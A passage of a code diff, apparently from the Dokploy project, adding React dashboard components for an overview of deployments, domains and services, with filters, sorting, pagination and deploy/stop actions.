</div>
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
import { Rocket } from "lucide-react";
|
||||||
|
import { useRouter } from "next/router";
|
||||||
|
import { ShowDeploymentsTable } from "@/components/dashboard/deployments/show-deployments-table";
|
||||||
|
import { ShowQueueTable } from "@/components/dashboard/deployments/show-queue-table";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||||
|
|
||||||
|
const SUBTAB_VALUES = ["deployments", "queue"] as const;
|
||||||
|
type SubtabValue = (typeof SUBTAB_VALUES)[number];
|
||||||
|
const DEFAULT_SUBTAB: SubtabValue = "deployments";
|
||||||
|
|
||||||
|
function isValidSubtab(t: string): t is SubtabValue {
|
||||||
|
return SUBTAB_VALUES.includes(t as SubtabValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
export const ShowOverviewDeployments = () => {
|
||||||
|
const router = useRouter();
|
||||||
|
const subtab =
|
||||||
|
typeof router.query.subtab === "string" &&
|
||||||
|
isValidSubtab(router.query.subtab)
|
||||||
|
? router.query.subtab
|
||||||
|
: DEFAULT_SUBTAB;
|
||||||
|
|
||||||
|
const setSubtab = (value: string) => {
|
||||||
|
if (!isValidSubtab(value)) return;
|
||||||
|
const { subtab: _current, ...query } = router.query;
|
||||||
|
router.replace(
|
||||||
|
{
|
||||||
|
pathname: router.pathname,
|
||||||
|
query: value === DEFAULT_SUBTAB ? query : { ...query, subtab: value },
|
||||||
|
},
|
||||||
|
undefined,
|
||||||
|
{ shallow: true },
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl min-h-[45vh]">
|
||||||
|
<div className="rounded-xl bg-background shadow-md h-full">
|
||||||
|
<CardHeader>
|
||||||
|
<div className="flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between">
|
||||||
|
<div>
|
||||||
|
<CardTitle className="text-xl font-bold flex items-center gap-2">
|
||||||
|
<Rocket className="size-5" />
|
||||||
|
Deployments
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
All application and compose deployments in one place.
|
||||||
|
</CardDescription>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<Tabs
|
||||||
|
value={subtab}
|
||||||
|
onValueChange={setSubtab}
|
||||||
|
className="w-full min-w-0"
|
||||||
|
>
|
||||||
|
<TabsList className="mt-2">
|
||||||
|
<TabsTrigger value="deployments">Deployments</TabsTrigger>
|
||||||
|
<TabsTrigger value="queue">Queue</TabsTrigger>
|
||||||
|
</TabsList>
|
||||||
|
<TabsContent value="deployments" className="mt-0 min-w-0 pt-4">
|
||||||
|
<ShowDeploymentsTable />
|
||||||
|
</TabsContent>
|
||||||
|
<TabsContent value="queue" className="mt-0 pt-4">
|
||||||
|
<ShowQueueTable />
|
||||||
|
</TabsContent>
|
||||||
|
</Tabs>
|
||||||
|
</CardHeader>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,383 @@
|
|||||||
|
import type { OverviewDomainSortBy } from "@dokploy/server/services/overview-shared";
|
||||||
|
import { sortOverviewDomains } from "@dokploy/server/services/overview-shared";
|
||||||
|
import { ExternalLink, Loader2 } from "lucide-react";
|
||||||
|
import Link from "next/link";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { COMPOSE_REDEPLOY_TOAST } from "@/components/dashboard/application/domains/redeploy-hint";
|
||||||
|
import { DateTooltip } from "@/components/shared/date-tooltip";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Card } from "@/components/ui/card";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import {
|
||||||
|
Tooltip,
|
||||||
|
TooltipContent,
|
||||||
|
TooltipProvider,
|
||||||
|
TooltipTrigger,
|
||||||
|
} from "@/components/ui/tooltip";
|
||||||
|
import { useSortPreference } from "@/hooks/use-sort-preference";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
|
||||||
|
|
||||||
|
const SORT_OPTIONS: { value: OverviewDomainSortBy; label: string }[] = [
|
||||||
|
{ value: "createdAt-desc", label: "Newest first" },
|
||||||
|
{ value: "createdAt-asc", label: "Oldest first" },
|
||||||
|
{ value: "port-asc", label: "Port (low-high)" },
|
||||||
|
{ value: "port-desc", label: "Port (high-low)" },
|
||||||
|
];
|
||||||
|
|
||||||
|
const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
|
||||||
|
|
||||||
|
export const ShowOverviewDomains = () => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||||
|
const canToggleDomain = permissions?.domain.create ?? false;
|
||||||
|
|
||||||
|
const { data: domains, isLoading } = api.overview.domains.useQuery();
|
||||||
|
const { data: allProjects } = api.project.all.useQuery();
|
||||||
|
|
||||||
|
const { mutateAsync: toggleEnable, isPending: isToggling } =
|
||||||
|
api.domain.toggleEnable.useMutation();
|
||||||
|
|
||||||
|
const [selectedProjectId, setSelectedProjectId] = useState("all");
|
||||||
|
const [selectedStatus, setSelectedStatus] = useState("all");
|
||||||
|
const [selectedSsl, setSelectedSsl] = useState("all");
|
||||||
|
const [selectedPort, setSelectedPort] = useState("all");
|
||||||
|
const [sortBy, setSort] = useSortPreference<OverviewDomainSortBy>(
|
||||||
|
"overviewDomainsSort",
|
||||||
|
"createdAt-desc",
|
||||||
|
SORT_VALUES,
|
||||||
|
);
|
||||||
|
|
||||||
|
const handleToggleEnable = async (
|
||||||
|
domain: NonNullable<typeof domains>[number],
|
||||||
|
) => {
|
||||||
|
try {
|
||||||
|
const result = await toggleEnable({ domainId: domain.domainId });
|
||||||
|
utils.overview.domains.invalidate();
|
||||||
|
toast.success(
|
||||||
|
result.enabled ? "Domain enabled" : "Domain disabled",
|
||||||
|
result.requiresRedeploy
|
||||||
|
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||||
|
: undefined,
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
toast.error(`Error updating "${domain.host}"`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const availablePorts = useMemo(() => {
|
||||||
|
if (!domains) return [];
|
||||||
|
const ports = new Set<number>();
|
||||||
|
for (const domain of domains) {
|
||||||
|
if (domain.port !== null) ports.add(domain.port);
|
||||||
|
}
|
||||||
|
return Array.from(ports).sort((a, b) => a - b);
|
||||||
|
}, [domains]);
|
||||||
|
|
||||||
|
const filteredDomains = useMemo(() => {
|
||||||
|
if (!domains) return [];
|
||||||
|
const filtered = domains.filter(
|
||||||
|
(domain) =>
|
||||||
|
(selectedProjectId === "all" ||
|
||||||
|
domain.projectId === selectedProjectId) &&
|
||||||
|
(selectedStatus === "all" ||
|
||||||
|
(selectedStatus === "enabled" ? domain.enabled : !domain.enabled)) &&
|
||||||
|
(selectedSsl === "all" ||
|
||||||
|
(selectedSsl === "https" ? domain.https : !domain.https)) &&
|
||||||
|
(selectedPort === "all" || domain.port === Number(selectedPort)),
|
||||||
|
);
|
||||||
|
return sortOverviewDomains(filtered, sortBy);
|
||||||
|
}, [
|
||||||
|
domains,
|
||||||
|
selectedProjectId,
|
||||||
|
selectedStatus,
|
||||||
|
selectedSsl,
|
||||||
|
selectedPort,
|
||||||
|
sortBy,
|
||||||
|
]);
|
||||||
|
|
||||||
|
const [pageSize, setPageSize] = useState(50);
|
||||||
|
const [pageIndex, setPageIndex] = useState(0);
|
||||||
|
const pageCount = Math.max(1, Math.ceil(filteredDomains.length / pageSize));
|
||||||
|
const currentPageIndex = Math.min(pageIndex, pageCount - 1);
|
||||||
|
const pagedDomains = filteredDomains.slice(
|
||||||
|
currentPageIndex * pageSize,
|
||||||
|
currentPageIndex * pageSize + pageSize,
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||||
|
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||||
|
<div className="flex flex-wrap items-center gap-3 justify-between">
|
||||||
|
<h3 className="text-lg font-medium">
|
||||||
|
Domains{" "}
|
||||||
|
<span className="text-sm font-normal text-muted-foreground">
|
||||||
|
({filteredDomains.length})
|
||||||
|
</span>
|
||||||
|
</h3>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Select
|
||||||
|
value={selectedProjectId}
|
||||||
|
onValueChange={setSelectedProjectId}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[160px]">
|
||||||
|
<SelectValue placeholder="Project" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All projects</SelectItem>
|
||||||
|
{allProjects?.map((project) => (
|
||||||
|
<SelectItem key={project.projectId} value={project.projectId}>
|
||||||
|
{project.name}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Select value={selectedStatus} onValueChange={setSelectedStatus}>
|
||||||
|
<SelectTrigger className="w-[130px]">
|
||||||
|
<SelectValue placeholder="Status" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All statuses</SelectItem>
|
||||||
|
<SelectItem value="enabled">Enabled</SelectItem>
|
||||||
|
<SelectItem value="disabled">Disabled</SelectItem>
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Select value={selectedSsl} onValueChange={setSelectedSsl}>
|
||||||
|
<SelectTrigger className="w-[130px]">
|
||||||
|
<SelectValue placeholder="SSL" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">HTTP & HTTPS</SelectItem>
|
||||||
|
<SelectItem value="https">HTTPS only</SelectItem>
|
||||||
|
<SelectItem value="http">HTTP only</SelectItem>
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
{availablePorts.length > 0 && (
|
||||||
|
<Select value={selectedPort} onValueChange={setSelectedPort}>
|
||||||
|
<SelectTrigger className="w-[120px]">
|
||||||
|
<SelectValue placeholder="Port" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All ports</SelectItem>
|
||||||
|
{availablePorts.map((port) => (
|
||||||
|
<SelectItem key={port} value={String(port)}>
|
||||||
|
{port}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
)}
|
||||||
|
<Select
|
||||||
|
value={sortBy}
|
||||||
|
onValueChange={(v) => setSort(v as OverviewDomainSortBy)}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[170px]">
|
||||||
|
<SelectValue placeholder="Sort by..." />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{SORT_OPTIONS.map((opt) => (
|
||||||
|
<SelectItem key={opt.value} value={opt.value}>
|
||||||
|
{opt.label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{isLoading && (
|
||||||
|
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||||
|
<Loader2 className="size-4 animate-spin" />
|
||||||
|
Loading domains...
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!isLoading && filteredDomains.length === 0 && (
|
||||||
|
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||||
|
<span>No domains match the current filters.</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!isLoading && filteredDomains.length > 0 && (
|
||||||
|
<>
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
<TableRow>
|
||||||
|
<TableHead>Service</TableHead>
|
||||||
|
<TableHead>Host</TableHead>
|
||||||
|
<TableHead>Path</TableHead>
|
||||||
|
<TableHead>Port</TableHead>
|
||||||
|
<TableHead>Entrypoint</TableHead>
|
||||||
|
<TableHead>Protocol</TableHead>
|
||||||
|
<TableHead>Certificate</TableHead>
|
||||||
|
<TableHead>Created</TableHead>
|
||||||
|
<TableHead className="text-right">Status</TableHead>
|
||||||
|
</TableRow>
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{pagedDomains.map((domain) => {
|
||||||
|
const href = `/dashboard/project/${domain.projectId}/environment/${domain.environmentId}/services/${domain.serviceOwnerType}/${domain.serviceOwnerId}`;
|
||||||
|
return (
|
||||||
|
<TableRow key={domain.domainId}>
|
||||||
|
<TableCell>
|
||||||
|
<Link href={href} className="flex flex-col min-w-0">
|
||||||
|
<span className="font-medium truncate">
|
||||||
|
{domain.serviceName}
|
||||||
|
</span>
|
||||||
|
<span className="text-xs font-normal text-muted-foreground">
|
||||||
|
{domain.projectName} / {domain.environmentName}
|
||||||
|
</span>
|
||||||
|
</Link>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<Link
|
||||||
|
className="flex items-center gap-2 font-medium hover:underline"
|
||||||
|
target="_blank"
|
||||||
|
href={`${domain.https ? "https" : "http"}://${domain.host}${domain.path}`}
|
||||||
|
>
|
||||||
|
{domain.host}
|
||||||
|
<ExternalLink className="size-3" />
|
||||||
|
</Link>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<span className="font-mono text-sm">
|
||||||
|
{domain.path || "/"}
|
||||||
|
</span>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<Badge variant="secondary">{domain.port}</Badge>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
{domain.customEntrypoint ? (
|
||||||
|
<span className="font-mono text-sm">
|
||||||
|
{domain.customEntrypoint}
|
||||||
|
</span>
|
||||||
|
) : (
|
||||||
|
<span className="text-muted-foreground">—</span>
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<Badge variant={domain.https ? "outline" : "secondary"}>
|
||||||
|
{domain.https ? "HTTPS" : "HTTP"}
|
||||||
|
</Badge>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<Badge variant="outline" className="capitalize">
|
||||||
|
{domain.certificateType}
|
||||||
|
</Badge>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<DateTooltip date={domain.createdAt} />
|
||||||
|
</TableCell>
|
||||||
|
<TableCell className="text-right">
|
||||||
|
{canToggleDomain ? (
|
||||||
|
<TooltipProvider>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<div className="flex items-center justify-end">
|
||||||
|
<Switch
|
||||||
|
checked={domain.enabled}
|
||||||
|
onCheckedChange={() =>
|
||||||
|
handleToggleEnable(domain)
|
||||||
|
}
|
||||||
|
disabled={isToggling}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>
|
||||||
|
{domain.enabled
|
||||||
|
? "Domain is active. Toggle to disable routing without deleting it."
|
||||||
|
: "Domain is disabled and not routed. Toggle to enable it again."}
|
||||||
|
</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</TooltipProvider>
|
||||||
|
) : (
|
||||||
|
<Badge
|
||||||
|
variant={domain.enabled ? "outline" : "secondary"}
|
||||||
|
>
|
||||||
|
{domain.enabled ? "Enabled" : "Disabled"}
|
||||||
|
</Badge>
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
|
||||||
|
<div className="flex items-center justify-between text-sm text-muted-foreground">
|
||||||
|
<span>
|
||||||
|
{filteredDomains.length}{" "}
|
||||||
|
{filteredDomains.length === 1 ? "domain" : "domains"} total
|
||||||
|
</span>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<span className="whitespace-nowrap">Rows per page</span>
|
||||||
|
<Select
|
||||||
|
value={String(pageSize)}
|
||||||
|
onValueChange={(value) => {
|
||||||
|
setPageSize(Number(value));
|
||||||
|
setPageIndex(0);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[80px] h-8">
|
||||||
|
<SelectValue />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{PAGE_SIZE_OPTIONS.map((size) => (
|
||||||
|
<SelectItem key={size} value={String(size)}>
|
||||||
|
{size}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</div>
|
||||||
|
<span className="whitespace-nowrap">
|
||||||
|
Page {currentPageIndex + 1} of {pageCount}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => setPageIndex(currentPageIndex - 1)}
|
||||||
|
disabled={currentPageIndex === 0}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => setPageIndex(currentPageIndex + 1)}
|
||||||
|
disabled={currentPageIndex + 1 >= pageCount}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,550 @@
|
|||||||
|
import type {
|
||||||
|
OverviewServiceType,
|
||||||
|
OverviewSortBy,
|
||||||
|
} from "@dokploy/server/services/overview-shared";
|
||||||
|
import { sortOverviewServices } from "@dokploy/server/services/overview-shared";
|
||||||
|
import {
|
||||||
|
Ban,
|
||||||
|
CircuitBoard,
|
||||||
|
GlobeIcon,
|
||||||
|
Loader2,
|
||||||
|
MoreHorizontal,
|
||||||
|
RefreshCw,
|
||||||
|
Search,
|
||||||
|
ServerIcon,
|
||||||
|
} from "lucide-react";
|
||||||
|
import Link from "next/link";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
|
||||||
|
import { DateTooltip } from "@/components/shared/date-tooltip";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { StatusTooltip } from "@/components/shared/status-tooltip";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Card } from "@/components/ui/card";
|
||||||
|
import {
|
||||||
|
DropdownMenu,
|
||||||
|
DropdownMenuContent,
|
||||||
|
DropdownMenuItem,
|
||||||
|
DropdownMenuLabel,
|
||||||
|
DropdownMenuTrigger,
|
||||||
|
} from "@/components/ui/dropdown-menu";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import { useSortPreference } from "@/hooks/use-sort-preference";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
|
||||||
|
|
||||||
|
const TYPE_LABELS = {
|
||||||
|
application: "Application",
|
||||||
|
postgres: "PostgreSQL",
|
||||||
|
mariadb: "MariaDB",
|
||||||
|
mongo: "MongoDB",
|
||||||
|
mysql: "MySQL",
|
||||||
|
redis: "Redis",
|
||||||
|
compose: "Compose",
|
||||||
|
libsql: "Libsql",
|
||||||
|
} satisfies Record<OverviewServiceType, string>;
|
||||||
|
|
||||||
|
const STATUS_OPTIONS = ["running", "idle", "done", "error"];
|
||||||
|
|
||||||
|
// "done" is the steady live state (green); "running" only holds mid-deploy (yellow) — relabeled to match what users expect.
|
||||||
|
const STATUS_LABELS: Record<string, string> = {
|
||||||
|
running: "Deploying",
|
||||||
|
idle: "Idle",
|
||||||
|
done: "Running",
|
||||||
|
error: "Error",
|
||||||
|
};
|
||||||
|
|
||||||
|
const SORT_OPTIONS: { value: OverviewSortBy; label: string }[] = [
|
||||||
|
{ value: "lastDeploy-desc", label: "Recently deployed" },
|
||||||
|
{ value: "lastDeploy-asc", label: "Oldest deployed" },
|
||||||
|
{ value: "createdAt-desc", label: "Newest first" },
|
||||||
|
{ value: "createdAt-asc", label: "Oldest first" },
|
||||||
|
{ value: "name-asc", label: "Name (A-Z)" },
|
||||||
|
{ value: "name-desc", label: "Name (Z-A)" },
|
||||||
|
{ value: "type-asc", label: "Type (A-Z)" },
|
||||||
|
{ value: "type-desc", label: "Type (Z-A)" },
|
||||||
|
];
|
||||||
|
|
||||||
|
const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
|
||||||
|
|
||||||
|
// libsql has no deploy/stop actions, same as environment/[environmentId].tsx.
|
||||||
|
const idKeyByType: Record<string, string> = {
|
||||||
|
application: "applicationId",
|
||||||
|
compose: "composeId",
|
||||||
|
postgres: "postgresId",
|
||||||
|
mysql: "mysqlId",
|
||||||
|
mariadb: "mariadbId",
|
||||||
|
redis: "redisId",
|
||||||
|
mongo: "mongoId",
|
||||||
|
};
|
||||||
|
|
||||||
|
export const ShowOverviewServices = () => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const {
|
||||||
|
data: services,
|
||||||
|
isLoading,
|
||||||
|
refetch,
|
||||||
|
} = api.overview.services.useQuery();
|
||||||
|
const { data: allProjects } = api.project.all.useQuery();
|
||||||
|
|
||||||
|
const [searchQuery, setSearchQuery] = useState("");
|
||||||
|
const [selectedProjectId, setSelectedProjectId] = useState("all");
|
||||||
|
const [selectedType, setSelectedType] = useState("all");
|
||||||
|
const [selectedStatus, setSelectedStatus] = useState("all");
|
||||||
|
const [selectedServerId, setSelectedServerId] = useState("all");
|
||||||
|
const [sortBy, setSort] = useSortPreference<OverviewSortBy>(
|
||||||
|
"overviewServicesSort",
|
||||||
|
"lastDeploy-desc",
|
||||||
|
SORT_VALUES,
|
||||||
|
);
|
||||||
|
|
||||||
|
const applicationActions = {
|
||||||
|
deploy: api.application.deploy.useMutation(),
|
||||||
|
stop: api.application.stop.useMutation(),
|
||||||
|
};
|
||||||
|
const composeActions = {
|
||||||
|
deploy: api.compose.deploy.useMutation(),
|
||||||
|
stop: api.compose.stop.useMutation(),
|
||||||
|
};
|
||||||
|
const postgresActions = {
|
||||||
|
deploy: api.postgres.deploy.useMutation(),
|
||||||
|
stop: api.postgres.stop.useMutation(),
|
||||||
|
};
|
||||||
|
const mysqlActions = {
|
||||||
|
deploy: api.mysql.deploy.useMutation(),
|
||||||
|
stop: api.mysql.stop.useMutation(),
|
||||||
|
};
|
||||||
|
const mariadbActions = {
|
||||||
|
deploy: api.mariadb.deploy.useMutation(),
|
||||||
|
stop: api.mariadb.stop.useMutation(),
|
||||||
|
};
|
||||||
|
const redisActions = {
|
||||||
|
deploy: api.redis.deploy.useMutation(),
|
||||||
|
stop: api.redis.stop.useMutation(),
|
||||||
|
};
|
||||||
|
const mongoActions = {
|
||||||
|
deploy: api.mongo.deploy.useMutation(),
|
||||||
|
stop: api.mongo.stop.useMutation(),
|
||||||
|
};
|
||||||
|
|
||||||
|
const actionsByType: Record<
|
||||||
|
string,
|
||||||
|
{
|
||||||
|
deploy: { mutateAsync: (input: any) => Promise<unknown> };
|
||||||
|
stop: { mutateAsync: (input: any) => Promise<unknown> };
|
||||||
|
}
|
||||||
|
> = {
|
||||||
|
application: applicationActions,
|
||||||
|
compose: composeActions,
|
||||||
|
postgres: postgresActions,
|
||||||
|
mysql: mysqlActions,
|
||||||
|
mariadb: mariadbActions,
|
||||||
|
redis: redisActions,
|
||||||
|
mongo: mongoActions,
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleAction = async (
|
||||||
|
service: NonNullable<typeof services>[number],
|
||||||
|
action: "deploy" | "stop",
|
||||||
|
) => {
|
||||||
|
const actions = actionsByType[service.type];
|
||||||
|
const idKey = idKeyByType[service.type];
|
||||||
|
if (!actions || !idKey) return;
|
||||||
|
|
||||||
|
const labels =
|
||||||
|
action === "deploy"
|
||||||
|
? {
|
||||||
|
loading: "Deploying",
|
||||||
|
success: "queued for deployment",
|
||||||
|
error: "deploying",
|
||||||
|
}
|
||||||
|
: { loading: "Stopping", success: "stopped", error: "stopping" };
|
||||||
|
|
||||||
|
toast.promise(
|
||||||
|
(async () => {
|
||||||
|
await actions[action].mutateAsync({ [idKey]: service.id });
|
||||||
|
})(),
|
||||||
|
{
|
||||||
|
loading: `${labels.loading} ${service.name}...`,
|
||||||
|
success: () => {
|
||||||
|
utils.overview.services.invalidate();
|
||||||
|
return `${service.name} ${labels.success} successfully`;
|
||||||
|
},
|
||||||
|
error: (error) =>
|
||||||
|
`Error ${labels.error} ${service.name}: ${error instanceof Error ? error.message : "Unknown error"}`,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const availableServers = useMemo(() => {
|
||||||
|
if (!services) return [];
|
||||||
|
const map = new Map<string, string>();
|
||||||
|
for (const service of services) {
|
||||||
|
if (service.serverId && service.serverName) {
|
||||||
|
map.set(service.serverId, service.serverName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Array.from(map.entries()).map(([serverId, serverName]) => ({
|
||||||
|
serverId,
|
||||||
|
serverName,
|
||||||
|
}));
|
||||||
|
}, [services]);
|
||||||
|
|
||||||
|
const hasServicesWithoutServer = useMemo(
|
||||||
|
() => !!services?.some((service) => !service.serverId),
|
||||||
|
[services],
|
||||||
|
);
|
||||||
|
|
||||||
|
const filteredServices = useMemo(() => {
|
||||||
|
if (!services) return [];
|
||||||
|
const filtered = services.filter(
|
||||||
|
(service) =>
|
||||||
|
service.name.toLowerCase().includes(searchQuery.toLowerCase()) &&
|
||||||
|
(selectedProjectId === "all" ||
|
||||||
|
service.projectId === selectedProjectId) &&
|
||||||
|
(selectedType === "all" || service.type === selectedType) &&
|
||||||
|
(selectedStatus === "all" || service.status === selectedStatus) &&
|
||||||
|
(selectedServerId === "all" ||
|
||||||
|
(selectedServerId === "dokploy-server" && !service.serverId) ||
|
||||||
|
service.serverId === selectedServerId),
|
||||||
|
);
|
||||||
|
return sortOverviewServices(filtered, sortBy);
|
||||||
|
}, [
|
||||||
|
services,
|
||||||
|
searchQuery,
|
||||||
|
selectedProjectId,
|
||||||
|
selectedType,
|
||||||
|
selectedStatus,
|
||||||
|
selectedServerId,
|
||||||
|
sortBy,
|
||||||
|
]);
|
||||||
|
|
||||||
|
// pageIndex is clamped against the filtered count each render instead of reset via an effect.
|
||||||
|
const [pageSize, setPageSize] = useState(50);
|
||||||
|
const [pageIndex, setPageIndex] = useState(0);
|
||||||
|
const pageCount = Math.max(1, Math.ceil(filteredServices.length / pageSize));
|
||||||
|
const currentPageIndex = Math.min(pageIndex, pageCount - 1);
|
||||||
|
const pagedServices = filteredServices.slice(
|
||||||
|
currentPageIndex * pageSize,
|
||||||
|
currentPageIndex * pageSize + pageSize,
|
||||||
|
);
|
||||||
|
|
||||||
|
const renderIcon = (service: NonNullable<typeof services>[number]) => {
|
||||||
|
if (service.type in DB_ENGINE_ICONS) {
|
||||||
|
const Icon =
|
||||||
|
DB_ENGINE_ICONS[service.type as keyof typeof DB_ENGINE_ICONS];
|
||||||
|
return <Icon className="h-5 w-5" />;
|
||||||
|
}
|
||||||
|
if (service.icon) {
|
||||||
|
return (
|
||||||
|
<img
|
||||||
|
src={service.icon}
|
||||||
|
alt={service.name}
|
||||||
|
className="size-5 object-contain rounded-sm"
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return service.type === "compose" ? (
|
||||||
|
<CircuitBoard className="h-5 w-5" />
|
||||||
|
) : (
|
||||||
|
<GlobeIcon className="h-5 w-5" />
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||||
|
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||||
|
<div className="flex flex-wrap items-center gap-3 justify-between">
|
||||||
|
<h3 className="text-lg font-medium">
|
||||||
|
Services{" "}
|
||||||
|
<span className="text-sm font-normal text-muted-foreground">
|
||||||
|
({filteredServices.length})
|
||||||
